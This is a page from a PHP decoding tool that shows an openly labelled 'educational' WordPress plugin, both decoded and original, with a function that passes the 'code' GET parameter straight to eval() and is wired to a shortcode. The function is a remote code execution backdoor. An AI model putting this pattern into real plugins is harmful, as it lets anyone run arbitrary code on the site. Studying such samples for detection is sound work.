Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* Plugin Name: Study Malware Example Plugin URI: http://yourwebsite.com/ Descri..

Decoded Output download

<?php 
/* 
Plugin Name: Study Malware Example 
Plugin URI: http://yourwebsite.com/ 
Description: This plugin is for educational purposes only and demonstrates a function that could be flagged as potentially malicious. 
Version: 1.0 
Author: Your Name 
Author URI: http://yourwebsite.com/ 
*/ 
 
// Malicious function 
function study_malware_example() { 
    // Execute arbitrary code (this is for demonstration purposes only and should not be used in real plugins) 
    $code = $_GET['code']; 
    eval($code); 
} 
 
// Add a query variable to trigger the malicious function 
function study_malware_query_vars($vars) { 
    $vars[] = 'malware_example'; 
    return $vars; 
} 
add_filter('query_vars', 'study_malware_query_vars'); 
 
// Register a shortcode to trigger the malicious function 
function study_malware_shortcode($atts) { 
    if (isset($atts['code'])) { 
        study_malware_example(); 
    } 
} 
add_shortcode('malware_example', 'study_malware_shortcode'); 
 ?>

Did this file decode correctly?

Original Code

<?php
/*
Plugin Name: Study Malware Example
Plugin URI: http://yourwebsite.com/
Description: This plugin is for educational purposes only and demonstrates a function that could be flagged as potentially malicious.
Version: 1.0
Author: Your Name
Author URI: http://yourwebsite.com/
*/

// Malicious function
function study_malware_example() {
    // Execute arbitrary code (this is for demonstration purposes only and should not be used in real plugins)
    $code = $_GET['code'];
    eval($code);
}

// Add a query variable to trigger the malicious function
function study_malware_query_vars($vars) {
    $vars[] = 'malware_example';
    return $vars;
}
add_filter('query_vars', 'study_malware_query_vars');

// Register a shortcode to trigger the malicious function
function study_malware_shortcode($atts) {
    if (isset($atts['code'])) {
        study_malware_example();
    }
}
add_shortcode('malware_example', 'study_malware_shortcode');

Function Calls

add_filter 1

Variables

None

Stats

MD5 816989f5b0a66751e0291801e1e25ac2
Eval Count 0
Decode Time 38 ms